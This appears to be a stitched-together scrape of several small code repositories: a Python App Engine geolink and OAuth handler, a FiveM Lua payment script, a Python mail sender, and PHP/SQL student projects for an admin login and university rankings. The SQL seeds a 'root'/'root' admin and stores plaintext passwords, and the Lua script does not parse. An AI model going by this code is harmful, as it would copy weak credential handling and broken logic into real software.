res = quova.ipinfo(ip_addr)
if link.url:
# replace params
url = link.url
for code in models.GEOLINK_CODES:
link_code_start = url.find(code)
if link_code_start != -1:
link_code_name = code.lstrip('{').rstrip('}')
link_code_value = quova.get(res, link_code_name)
if link_code_value:
url = url.replace(code,link_code_value)
else:
url = url.replace(code,"")
else:
# parse linkmap to find appropriate link
code_value = quova.get(res, link.linkmap_key)
if code_value:
url = link.linkmap_find(code_value)
if url is None:
# redirect to link info page
self.redirect(link.infolink)
else:
self.redirect(url)
else:
self.error(404)
class CredentialHandler(webapp.RequestHandler):
@login_required
def get(self):
user = users.get_current_user()
credentials = StorageByKeyName(
models.Credentials, user.user_id(), 'credentials').get()
if credentials is None or credentials.invalid == True:
flow = OAuth2WebServerFlow(
# Visit https://code.google.com/apis/console to
# generate your client_id, client_secret and to
# register your redirect_uri.
client_id=GOOGLEAPI_CLIENT_ID,
client_secret=GOOGLEAPI_CLIENT_SECRET,
scope=GOOGLEAPI_SCOPE,
user_agent=GOOGLEAPI_USER_AGENT,
#domain='anonymous',
xoauth_displayname=GOOGLEAPI_XOAUTH_DISPLAYNAME)
callback = self.request.relative_url('/auth_return')
authorize_url = flow.step1_get_authorize_url(callback)
memcache.set(user.user_id(), pickle.dumps(flow))
self.redirect(authorize_url)
else:
self.redirect('/dashboard/')
class OAuthHandler(webapp.RequestHandler):
@login_required
def get(self):
user = users.get_current_user()
flow = pickle.loads(memcache.get(user.user_id()))
if flow:
credentials = flow.step2_exchange(self.request.params)
StorageByKeyName(
models.Credentials, user.user_id(), 'credentials').put(credentials)
self.redirect("/dashboard/")
else:
pass
<file_sep>import urllib2
import md5
import time
import logging
from google.appengine.api import memcache
from xml.dom import minidom
service = 'http://api.quova.com/'
version = 'v1/'
method = 'ipinfo/'
QUOVAAPI_KEY = 'QUOVA_KEY'
QUOVAAPI_SECRET = 'QUOVA_SECRET'
QUOVA_NAMESPACE = "quova"
def ipinfo(ip):
# set a default IP address for testing
if ip is None or ip=='127.0.0.1':
ip = '4.2.2.2'
# cache responses from quova
data = memcache.get(ip, namespace=QUOVA_NAMESPACE)
if data is not None:
#logging.info("cache hit")
return data
else:
data = ipinfo_request(ip)
memcache.add(ip, data, namespace=QUOVA_NAMESPACE)
#logging.info("cache miss")
return data
def ipinfo_request(ip):
hash = md5.new()
# seconds since GMT Epoch
timestamp = str(int(time.time()))
# print timestamp
sig = md5.new(QUOVAAPI_KEY + QUOVAAPI_SECRET + timestamp).hexdigest()
url = service + version + method + ip + '?apikey=' + QUOVAAPI_KEY + '&sig=' + sig
# print url
xml = urllib2.urlopen(url).read()
xml = minidom.parseString(xml)
return xml
def get(xml, name):
elem = xml.getElementsByTagName(name)[0]
return getText(elem.childNodes)
def getText(nodelist):
rc = []
for node in nodelist:
if node.nodeType == node.TEXT_NODE:
rc.append(node.data)
return ''.join(rc)
| 83075e7957193d78883a413758e6adc2c6228a4a | [
"Python"
] | 7 | Python | nanek/nearbylink | 9555d66bba6cf6704bc130744bd1c1b0b32fdc8f | b31770a23dfb5099f3f007b430fa5efa66d82385 |
refs/heads/master | <file_sep>local Tunnel = module("vrp","lib/Tunnel")
local Proxy = module("vrp","lib/Proxy")
vRP = Proxy.getInterface("vRP")
emP = {}
Tunnel.bindInterface("emp_lixeiro",emP)
-----------------------------------------------------------------------------------------------------------------------------------------
-- VARIAVEIS
-----------------------------------------------------------------------------------------------------------------------------------------
function emP.checkPayment()
local source = source
local user_id = vRP.getUserId(source)
if user_id then
local blips_userId = user_id."retorno de blips daquele user ID"
if blips_userId < 250 then
local pagamento = math.random(80,110)
elseif blips_userId >= 250 then
local pagamento = math.random(110,140)
elseif blips_userId >= 400 then
local pagamento = math.random(140,170)
else blips_userId > 900 then
local pagamento = math.random(170,200)
end
TriggerClientEvent('chatMessage', source, "^2Você recebeu ^5R$ "..pagamento..".")
vRP.giveMoney(user_id,pagamento)
return true
end
end
function emP.checkPermission()
local source = source
local user_id = vRP.getUserId(source)
local player = vRP.getUserSource(user_id)
if user_id ~= nil then
if vRP.hasPermission(user_id,"perm.lixeiro") then
return true
else
TriggerClientEvent('chatMessage', source, "^2Você não é um lixeiro.")
end
end
end | 7e139e10b0194a86540c4febb18ef73cd61f3a5d | [
"Lua"
] | 1 | Lua | MariaFranca3/vrp | 7f0289536f84539c4481ac076bcbff4b5ae40704 | 768a3a1ab084da3689d17d15e722fe6065388770 |
refs/heads/main | <file_sep>from .settings import SenderSettings
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
s = SenderSettings
class SendMail:
def connect(self):
server = smtplib.SMTP_SSL(s.host, 465)
server.login(s.mail,s.password)
return server
def sendmail(self,to,subject,text,html):
server = self.connect()
sender = s.mail
receiver = to
msg = MIMEMultipart()
msg['From'] = s.mail
msg['To'] = to
msg['Subject'] = subject
#msg = 'Subject: {}\n\n{}'.format(SUBJECT, TEXT)
part1 = MIMEText(text, "plain", "utf-8")
part2 = MIMEText(html, "html", "utf-8")
msg.attach(part1)
msg.attach(part2)
try:
server.sendmail(sender,receiver,msg.as_string())
print("Succesfull.")
except EOFError:
print("Un Succesfull.")
server.quit()<file_sep>from sendmail import SendMail
send = SendMail()
to = ''
sub = ''
text = ''
html = ''
#mail controller <EMAIL>
def mail_isvalid(self,mail_to):
regex = '^(\w|\.|\_|\-)+[@](\w|\_|\-|\.)+[.]\w{2,3}$'
if(re.search(regex, mail)):
return True
else:
print('wrong char mail')
return False
send.sendmail(to,sub,text,html)<file_sep>
class SenderSettings:
name = ''
host = ''
mail = ''
password = ''<file_sep># Python_MailScript.py
**Python Mail Script**
- Basic Send Mail
**Classes**
>[> main, Mail control func and receiver information. ](https://github.com/Yasinymous/Python_MailScript/blob/main/main.py)
>[> sendmail, Sending mail.](https://github.com/Yasinymous/Python_MailScript/blob/main/sendmail.py)
>[> settings, Sender settings.](https://github.com/Yasinymous/Python_MailScript/blob/main/settings.py)
**Used libraries**
[> Send Mail](https://github.com/Yasinymous/Python_MailScript)
# VIA
### Contact [@yasinymous](mailto:<EMAIL>) !
| c0e8fa30c2cd4452bbbcab2a317dce680072d6a6 | [
"Markdown",
"Python"
] | 4 | Python | Yasinymous/Python_MailScript | c7db0b4746e5eaa2cdacef6979d754e56aa77634 | 2bc9afa1789f6838d8d7f2cdd087d8674db4196d |
refs/heads/master | <file_sep>APP_ENV=local
APP_DEBUG=true
APP_KEY=SomeRandomString
DB_HOST=localhost
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=<PASSWORD>
SEOSHOP_ENV=live
SEOSHOP_KEY=your app key goes here
SEOSHOP_SECRET=your app secret goes here
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync
MAIL_DRIVER=smtp
MAIL_HOST=mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=<PASSWORD>
| 28455d91ca22737676b746dfcef89f6fbf9f40cc | [
"Shell"
] | 1 | Shell | TimBloembergen/External-Services | 9155c999946948d815a10f44db0f6184c405e707 | 18bf9d73ba58d2d626992f85ec51f88b485ea3f2 |
refs/heads/master | <file_sep>package com.arrayutils;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class ArrayMethodsTest {
@Test
void forEach() {
ArrayMethods.<String >forEach(new String[]{"hello"}, (s) -> {
assertTrue(s == "hello");
});
}
@Test
void map() {
final Integer[] ints = {1, 2, 3, 4};
final String[] expected1 = {"1", "2", "3", "4"};
final Integer[] expected2 = {1, 4, 9, 16};
assertArrayEquals(expected1, ArrayMethods.<Integer, String>map(ints, (n) -> n.toString()));
assertArrayEquals(expected2, ArrayMethods.<Integer, Integer>map(ints, (n) -> n * n));
}
@Test
void filter() {
final Integer[] ints = {1, 2, 3, 4, 5, 6};
final Integer[] expectedInts = {2, 4, 6};
final String[] strings = {"ramu", "ravi", "brynn"};
final String[] expectedStrings = {"ramu", "ravi"};
assertArrayEquals(expectedInts, ArrayMethods.<Integer>filter(ints, (n) -> n % 2 == 0));
assertArrayEquals(expectedStrings, ArrayMethods.filter(strings, s -> s.contains("a")));
}
@Test
void reduce() {
final Integer[] ints = {1, 2, 3, 4, 5, 6};
assertEquals(21, ArrayMethods.<Integer, Integer>reduce(ints, 0, (c, n) -> c + n));
assertEquals("123456", ArrayMethods.<Integer, String>reduce(ints, "", (c, n) -> c + n));
}
}<file_sep>package com.arrayutils;
public interface Predicate<T> {
boolean match(T element);
}
| 3014a2dcc4ce068854caa1a796c889b9f0eb5623 | [
"Java"
] | 2 | Java | abhilashkasula/arrayutils-java | 95349b6120fe10386a9c6a83d339eb218440a271 | 56d487218579728e569f6765b3cd8a3ed4f8123a |
refs/heads/master | <repo_name>nikhilroy2/Front_End_2020_Practice<file_sep>/README.md
## This is 2020 Front End Development Daily Practice Repository
<b> In this repository I will work: </b>
<ul>
<li> HTML </li>
<li> CSS </li>
<li> BOOTSTRAP </li>
<li> JAVASCRIPT </li>
<li> SCSS </li>
<li> JS LIBRARY </li>
</ul>
<i>
This repository reserve by <NAME> local computer and for security he will push any update of his local computer here.
</i>
<file_sep>/2020/november/script_attr/async.js
console.log("async script 1")<file_sep>/2020/december/es6_practice/dec_5.js
// Object.defineProperty(typeof global === "object" ? global : window, "nikhil", {
// value: 3.141593,
// enumerable: true,
// writable: false,
// configurable: false
// })
// console.log(nikhil)
// const obj = {
// name: "Nikhil"
// }
// Object.defineProperties( true, {
// value: obj,
// enumerable: true,
// writable: false,
// configurable: false
// })
const name = ["Nikhil", "Sonchoy", "Shanto"]
const result = name.map((v,i,j,k)=> j)
console.log(result)<file_sep>/2020/november/script_attr/script.js
console.log("Defer script")
document.querySelector('#demo').innerHTML = "Hello Script"<file_sep>/2020/december/button_generator/script.js
const change_Obj = [
{
name: 'button_text',
attr: '[data-name="button_text"]'
},
{
name: 'background_image',
attr: '[data-name="background_image"]'
},
{
name: 'background_color',
attr: '[data-name="background_color"]'
},
{
name: 'font_color',
attr: '[data-name="font_color"]'
},
{
name: 'button_width',
attr: '[data-name="button_width"]'
},
{
name: 'button_height',
attr: '[data-name="button_height"]'
},
{
name: 'border_color',
attr: '[data-name="border_color"]'
},
{
name: 'border_radius',
attr: '[data-name="border_radius"]'
},
{
name: 'button_url',
attr: '[data-name="button_url"]'
}
]
let btn_styleSheet = '';
change_Obj.forEach((v,i) => {
$(`[data-name="${v.name}"]`).on('input', function () {
switch ($(this).attr('data-name')) {
case 'button_text':
Output_code($(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'background_image':
Output_code($(change_Obj[0].attr).val(), $(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'background_color':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'font_color':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(), $(change_Obj[2].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'button_width':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(), $(change_Obj[2].attr).val(), $(change_Obj[3].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'button_height':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(), $(change_Obj[2].attr).val(), $(change_Obj[3].attr).val(), $(change_Obj[4].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'border_color':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(), $(change_Obj[2].attr).val(), $(change_Obj[3].attr).val(), $(change_Obj[4].attr).val(), $(change_Obj[5].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'border_radius':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(), $(change_Obj[2].attr).val(), $(change_Obj[3].attr).val(), $(change_Obj[4].attr).val(), $(change_Obj[5].attr).val(), $(change_Obj[6].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
case 'button_url':
Output_code($(change_Obj[0].attr).val(), $(change_Obj[1].attr).val(), $(change_Obj[2].attr).val(), $(change_Obj[3].attr).val(), $(change_Obj[4].attr).val(), $(change_Obj[5].attr).val(), $(change_Obj[6].attr).val(), $(change_Obj[7].attr).val(),
$(this).val());
$(this).attr('data-value', $(this).val());
break;
default:
console.log("not found")
}
})
})
function Output_code(
btn_text = $(change_Obj[0].attr).val(),
btn_img = $(change_Obj[1].attr).val(),
btn_bgColor = $(change_Obj[2].attr).val(),
btn_fontColor = $(change_Obj[3].attr).val(),
btn_width = $(change_Obj[4].attr).val(),
btn_height = $(change_Obj[5].attr).val(),
btn_borderColor = $(change_Obj[6].attr).val(),
btn_borderRadius = $(change_Obj[7].attr).val(),
btn_url = $(change_Obj[8].attr).val()
) {
let output_code = '';
if(btn_text === 'sample'){
output_code =
`
<a href="${btn_url}" style='${btn_bgColor}'> ${btn_img} </a>
`;
} else{
output_code =
`
<a href="${btn_url}" style='
background-image: url(${btn_img});
background-repeat: no-repeat;
background-color: ${btn_bgColor};
color: ${btn_fontColor};
width: ${btn_width}px;
height: ${btn_height}px;
border: 1px solid ${btn_borderColor};
border-radius: ${btn_borderRadius}px;
text-align: center;
line-height: ${btn_height}px;
text-decoration: none;
display: inline-block;
'> ${btn_text} </a>
`;
}
$('.output_code code').text(output_code);
$('.button_output_wrapper').html(output_code)
}
Output_code()
// ......... btn_copy......
function CopyText(){
let newInput = document.createElement('input');
newInput.setAttribute('value', $('.output_code code').text().replace(/\s\s+/g, ' '))
document.body.appendChild(newInput)
newInput.select();
newInput.setSelectionRange(0, 99999);
document.execCommand("copy");
newInput.remove()
}
// background change
function bgChange(val, next){
next.value = val.value;
Output_code()
}
// color change
function colorChange(val, next){
next.value = val.value;
Output_code()
}
// borderColor change
function borderColor(val, next){
next.value = val.value;
Output_code()
}
// checkbox function
function checkFun(val, put){
let getValue = $(`[data-name="${put}"]`).attr('data-value');
if(val.checked){
$(`[data-name="${put}"]`).val(getValue)
} else{
$(`[data-name=${put}]`).val('')
}
Output_code()
}
// input focus
function InputFocus(val, check){
val.value = $(val).attr('data-value')
$(`#${check}`).prop('checked', true)
}
// ... clickColor Function
function clickColor(val, check){
$(`#${check}`).prop('checked', true);
$(`[data-name=${check}]`).val($(val).val());
Output_code()
}
// ...... smaple button...
function SampleBtn(val){
// let output_code =
// `
// <a href="" style=''> ${val.innerHTML} </a>
// `;
// $('.output_code code').text(output_code)
Output_code('sample', val.innerHTML, val.getAttribute('style'))
}
// hidden section working
$('[data-toggling="content_body"]').hide();
function showContentBody(){
$('[data-toggling="content_body"]').show();
}<file_sep>/2020/december/es6_practice/script.js
// let obj = {
// name: {
// first: "Nikhil",
// second: "Roy"
// }
// }
// const {name: {second}} = obj
// console.log(second)
// const x = {}
// x["z"] = "I am z"
// const num = [2,4,4,56]
// function funNum(user){
// user.forEach(function(u) {
// return num.push(u.code)
// })
// }
// funNum([{
// code: 10
// }])
// let n=m=o=10
// console.log(n===m && n==o && n==m)
const num = [3,4,5,2,32,2,3];
// function getMax(arr){
// let max = -Infinity;
// arr.forEach(number=> {
// max = Math.max(max,number)
// })
// return max;
// }
// const max = getMax(num)
// max;
// const number = [3,4,2,54,5]
// const result = number.map((n)=>(
// {
// numpy: n
// }
// ))
// console.log(result)
let Obj = {
value: 0,
result: ()=>{
var own = Obj.result.bind(this)
setTimeout(function() {
own.value++
console.log(own.value)
},1000)
}
}
Obj.result()<file_sep>/2020/december/js_practice/dec13.js
let text = "How are you? ||| তুমি কেমন আছো? "
let en = text.slice(0,text.indexOf('|||'));
let bn = text.slice(text.indexOf('|||') + 4, text.length)
console.log(en)
<file_sep>/2020/december/es6_practice/dec_19.js
// let ar = [2,3,54,5,34,65]
// let result = ar.find((a,b,c)=> console.log(a))
// result;
// let r = "hello".startsWith("ello", 4)
// console.log(r)
let h = "Hello World"
//console.log(h.includes("World"))
// console.log(h.startsWith("He",0))
// console.log(h.endsWith("World", h.length))
console.log(h.includes("Hello",0))<file_sep>/2020/november/js_promises/my.js
let btn = document.getElementById("btn");
let btn_pause = document.getElementById('btn_pause')
let audio = new Audio('chura_liya.mp3');
btn.onclick = ()=> {
audio.play()
console.log('play')
}
btn_pause.onclick = ()=> {
audio.pause()
}
function Changing(val){
console.log(val.value)
audio.volume = val.value;
}<file_sep>/2020/december/es6_practice/dec_15.js
// function myPromise(name, email, roll){
// return new Promise((resolve, reject)=> {
// setTimeout(()=> resolve( `Hello ${name}, your email is: ${email} and roll: ${roll}`), 1)
// })
// }
// myPromise("Nikhil", "<EMAIL>", "5").then(name=> {
// console.log(name)
// })
// myPromise("Toslim", "<EMAIL>",1).then(msg=> {
// console.log(msg)
// })
// myPromise("Mim", "<EMAIL>", 1).then(m=> console.log(m)).then(m=> console.log("this is also" + m))
// function fetchAsync(url, timeout, onData, onError){
// }
// let fetchPromised = (url, timeout)=> {
// return new Promise((resolve, reject)=> {
// fetchAsync(url, timeout, resolve, reject)
// })
// }
// Promise.all([
// fetchPromised("http://n.nu", 500),
// fetchPromised("http:b.nu", 404)
// ]).then(data=> {
// let [foo, bar, baz] = data;
// console.log(`success: foo=${foo} bar=${bar} baz=${baz}`)
// }, err=> {
// console.log(`error: ${err}`)
// })
// let target = {
// foo: "Welcome, foo"
// }
// let proxy = new Proxy(target, {
// get(receiver, name){
// return name in receiver ? receiver[name] : `Hello, ${name}`
// }
// })
// proxy.foo === 'Welcome, foo'
// proxy.world === "Hello, world"
// proxy.name === "Nikhil"
// console.log(proxy.name)
let obj = {a: 1}
Object.defineProperty(obj, "b", {value: 20})
obj[Symbol("c")] = 200
console.log(Reflect.ownKeys(obj))<file_sep>/2020/november/js_promises/script.js
// ................ Promises Learning
// async function add(a,b){
// if(a === b){
// return Promise.reject(" a and b is equal")
// } else{
// return Promise.resolve(a + b)
// }
// }
// add(2,2)
// .then(data=> console.log(data))
// .catch(reject=> console.log(reject + " Promise cancel"))
// .......
// async function add1(a,b){
// if (a=== b){
// return Promise.reject("A and B is equal")
// } else{
// return Promise.resolve(a+b)
// }
// }
// add1(2,2)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// ..........2
// async function add2(a,b){
// if(a===b){
// return Promise.reject("a and b is equal")
// } else{
// return Promise.resolve(a+b)
// }
// }
// add2(3,5)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
//.......... 3
// async function add3(a,b){
// if(a===b){
// return Promise.reject("a and b is equal")
// } else{
// return Promise.resolve(a+b)
// }
// }
// add3(5,3)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// ......... 4
// async function add4(a,b){
// if(a===b){
// return Promise.reject('a and b is equal')
// } else if(a+b ==28){
// return Promise.reject(" a sum b is equal 28")
// } else{
// return Promise.resolve(a+b)
// }
// }
// add4(5,24)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// ......... 5
// async function add5(a,b){
// if(a===b){
// return Promise.reject('a and b is equal')
// } else{
// return Promise.resolve(a+b)
// }
// }
// add5(5,23)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function add6(a,b){
// if(a===b){
// return Promise.reject('a and b is equal')
// } else{
// return Promise.resolve(a+b)
// }
// }
// add6(3,2)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function add7(a,b){
// if(a===b){
// return Promise.reject('a and b is equal')
// } else{
// return Promise.resolve(a+b)
// }
// }
// add7(6,3)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function add8(a,b){
// if(a==b){
// return Promise.reject('a and b is equal')
// } else{
// return Promise.resolve(a+b)
// }
// }
// add8(6,3)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function add9(a,b){
// if(a===b){
// return Promise.reject("a and b is equal")
// } else{
// return Promise.resolve(a +b)
// }
// }
// add9(5,5)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function add10(a,b){
// if(a > b){
// return Promise.reject("a and b is equal")
// } else{
// return Promise.resolve(a + b)
// }
// }
// add10(43,2)
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function just(){
// return new Promise(function(resolve, reject){
// if(3 == 3){
// resolve("3 is equal 3")
// } else{
// reject("3 is not equal 3")
// }
// })
// }
// just()
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function just1(){
// return new Promise(function(resolve, reject){
// if(3===3){
// resolve("3 is equal 3")
// } else{
// reject("3 is not equal 3")
// }
// })
// }
// just1()
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// function just2(){
// return new Promise((resolve, reject)=> {
// if( 3===3){
// resolve("3 is equal 3")
// } else{
// reject("3 is not equal of 3")
// }
// })
// }
// just2()
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// function just3(){
// return new Promise((resolve, reject)=> {
// if(3===3){
// resolve("3 is equal of 3")
// } else{
// reject("3 is not equal of 3")
// }
// })
// }
// just3()
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// function just4(){
// return new Promise((resolve, reject)=> {
// if(3===3){
// resolve("3 is equal of 3")
// } else{
// reject("3 is not equal of 3")
// }
// })
// }
// just4()
// .then(res=> console.log(res))
// .catch(e=> console.log(e))
// async function just5(){
// return new Promise((resolve, reject)=> {
// setTimeout(()=> {
// resolve("Hello world")
// },3000)
// })
// }
// console.log(just5())
async function just6(){
return new Promise((resolve,reject)=> {
if(4===3){
resolve("3 is equal of 3")
} else{
console.log("3 is not equal of 3")
}
})
}
// (async ()=> {
// let data = await just6()
// console.log(data)
// })()
(async()=>{
try{
let data = await just6()
console.log(data)
}
catch(e){
console.log(e)
}
})() | 1200a08bf81d5f917ff7a5765da9cd1111da2027 | [
"Markdown",
"JavaScript"
] | 11 | Markdown | nikhilroy2/Front_End_2020_Practice | 0f6344787b758ca01366931996c5ebfa7c8b37b1 | f6ee555aa139cba41a009436ab7205783b8cefd4 |
refs/heads/master | <file_sep>-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Хост: 127.0.0.1
-- Время создания: Май 26 2020 г., 12:54
-- Версия сервера: 10.4.11-MariaDB
-- Версия PHP: 7.3.16
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- База данных: `test`
--
-- --------------------------------------------------------
--
-- Структура таблицы `admin`
--
CREATE TABLE `admin` (
`admin` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`isGlobalAdmin` tinyint(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Дамп данных таблицы `admin`
--
INSERT INTO `admin` (`admin`, `password`, `isGlobalAdmin`) VALUES
('root', 'root', 1);
-- --------------------------------------------------------
--
-- Структура таблицы `users`
--
CREATE TABLE `users` (
`id` int(8) NOT NULL,
`fname` varchar(32) NOT NULL,
`lname` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`tariff` varchar(32) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Дамп данных таблицы `users`
--
INSERT INTO `users` (`id`, `fname`, `lname`, `password`, `tariff`) VALUES
(0, 'Temirlan', 'Shaimerden', 'temir123', 'Basic'),
(1, 'Cristiano', 'Ronaldo', 'ronaldo123', 'Elite'),
(2, 'Loinel', 'Messi', 'messi123', 'Middle'),
(3, 'Elon', 'Musk', 'musk123', 'Basic');
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><?php
//--FINAL--CLASS
final class Admin{
private $admin;
private $password;
//--CONSTRUCTOR--
public function _construct($admin, $password){
$this->admin = $admin;
$this->password = $password;
}
//--GETTER
public function getAdmin(){ return $this->admin; }
}
require("components/header.php");
?>
<body>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method = "post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>Application form</legend>
<label>Admin</label><br>
<input type="text" name = "admin" value="" required/><br>
<label>Password</label><br>
<input type="<PASSWORD>" name = "password" value="" required/><br>
<input type = "submit" name = "submit" value = "Login"/>
</form>
</div>
</div>
</div>
<?php
//--DB CONNECTION--
$connection = new mysqli("localhost", "root", "", "test");
$counter = 0;
include("user.php");
if($connection->connect_error){
die("Error connection".$connection->connect_error);
}
if(isset($_POST['submit'])){
$admin = new Admin($_POST['admin'], $_POST['password']);
$stmt = $connection->prepare("SELECT admin, password FROM admin WHERE admin = ? and password = ?");
$stmt->bind_param("ss", $_POST['admin'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();
$array = Array();
if($result->num_rows > 0){
$select = $connection->query("SELECT fname, lname, tariff FROM users");
while($row = $select->fetch_assoc()){
//--CLASS--
$user = new User($row['fname'], $row['lname'], $row['tariff']);
array_push($array, Array("fname" => $user->getFName(), "lname" => $user->getLName(), "tariff" => $user->getTariff()));
$counter++;
}
//--JSON--
$json = json_encode($array);
file_put_contents("users.json", $json);
ob_start();
//--REDIRECTING--
header('Location: '."adminPage.php");
ob_end_flush();
} else{
echo "Wrong id of password";
}
}
require("components/footer.php");
?>
<file_sep><!DOCTYPE html>
<html>
<head></head>
<body>
<div class="container-fluid padding">
<div class="row padding">
<div class="col-md-12 col-lg-6">
<form method="POST" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>Enter website</legend>
<label>Admin login</label><br>
<input type="text" name="admin" value=""><br>
<label>Enter your password</label><br>
<input type="password" name="password" value=""><br><br>
<input type="submit" name="submit">
</form>
</div>
</div>
</div>
<?php
$connection = new mysqli("localhost", "root", "", "startups");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(isset($_POST['admin']) AND isset($_POST['password'])){
$admin = $_POST['admin'];
$stmt = $connection->prepare("SELECT admin, password FROM admin WHERE admin = ? and password = ?");
$stmt->bind_param("ss", $_POST['admin'], $_POST['password']);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0){
ob_start();
header('Location: '."admin.php");
ob_end_flush();
} else{
echo "Password is not correct";
}
} else{
echo "Fill all fields";
}
?>
</body>
</html><file_sep><!DOCTYPE html>
<html>
<head>
</head>
<body>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
<legend>University adding form</legend>
<label>Name:</label><br>
<input type="text" name="name" value=""><br>
<label>Location:</label><br>
<input type="text" name="location" value=""><br>
<label>Field:</label><br>
<input type="text" name="field" value=""><br>
<label>Academic Reputation:</label><br>
<input type="text" name="academicReputation" value=""><br>
<label>Employer Reputation</label><br>
<input type="text" name="employerReputation" value=""><br>
<label>FC Ratio</label><br>
<input type="text" name="FCRatio" value=""><br><br>
<input type="submit" name="submit">
</form>
<?php
include("global-rank.php");
$connection = new mysqli("localhost", "root", "", "univ");
if ($connection->connect_error) {
die("Connection failed: " . $connection->connect_error);
}
if(isset($_POST['submit'])){
$univ = new GlobalRank($_POST['name'], $_POST['location'], $_POST['field']);
$academicReputation = (int)$_POST['academicReputation'];
$employerReputation = (int)$_POST['employerReputation'];
$FCRatio = (int)$_POST['FCRatio'];
$overall = $univ->calculateRanking($academicReputation, $employerReputation, $FCRatio);
$stmt = $connection->prepare("INSERT INTO univ(name, location, field, rank) VALUES (?, ?, ?, ?)");
$stmt->bind_param("sssd",$_POST['name'], $_POST['location'], $_POST['field'], $overall);
$stmt->execute();
}
?>
</body>
</html><file_sep><!DOCTYPE html>
<html>
<head></head>
<body>
<!--TABLE-->
<form>
<table border=1>
<thead>
<th>Name</th>
<th>Location</th>
<th>Field</th>
<th>Rank(out of 5)</th>
</thead>
<tbody>
<tr>
<?php
$connection = new mysqli("localhost", "root", "", "univ");
if($connection->connect_error){
die("connection failed".$connection->connect_error);
}
$sql = "SELECT * FROM univ ORDER BY rank DESC";
$result = $connection->query($sql);
if($result->num_rows > 0){
while($row = $result->fetch_assoc()){
echo "<td>".$row['name']."</td><td>".$row['location']."</td><td>".$row['field']."</td><td>".$row['rank']."</td></tr>";
}
}
?>
</tbody>
</table><br>
<input type="submit" name="tech" value="Technical Univ Ranking" formaction="select-tech.php" formmethod="post">
<input type="submit" name="science" value="Science Univ Ranking" formaction="select-sciences.php" formmethod="post">
</form>
</body>
</html><file_sep><?php
include("global-rank.php");
//--FINAL--
final class SciencesRank extends GlobalRank{
private $name;
private $location;
private $field;
public function __construct($name, $location, $field){
$this->name = $name;
$this->location = $location;
$this->field = $field;
}
//--SETTERS
public function setName($name){ $this->name = $name; }
public function setLocation($location){ $this->location = $location; }
public function setField($field){ $this->field = $field; }
//--GETTERS
public function getName(){ return $this->name; }
public function getLocation(){ return $this->location; }
public function getField(){ return $this->field; }
//--OVERRIDING
public function calculateRanking($academicReputation, $employerReputation, $FCRatio){
return ($academicReputation + $employerReputation + $FCRatio) / 3;
}
}
?><file_sep><?php
require("components/header.php");
$connection = new mysqli("localhost", "root", "", "test");
#$connection2 = new mysqli("localhost", "root", "", "test");
if($connection->connect_error){
die("Connection failed: ".$connection->connect_error);
}
if(!empty($_POST['username']) && !empty($_POST['pwd'])){
$stmt = $connection->prepare("SELECT password FROM login WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$stmt->bind_result($password);
$stmt->fetch();
$stmt->close();
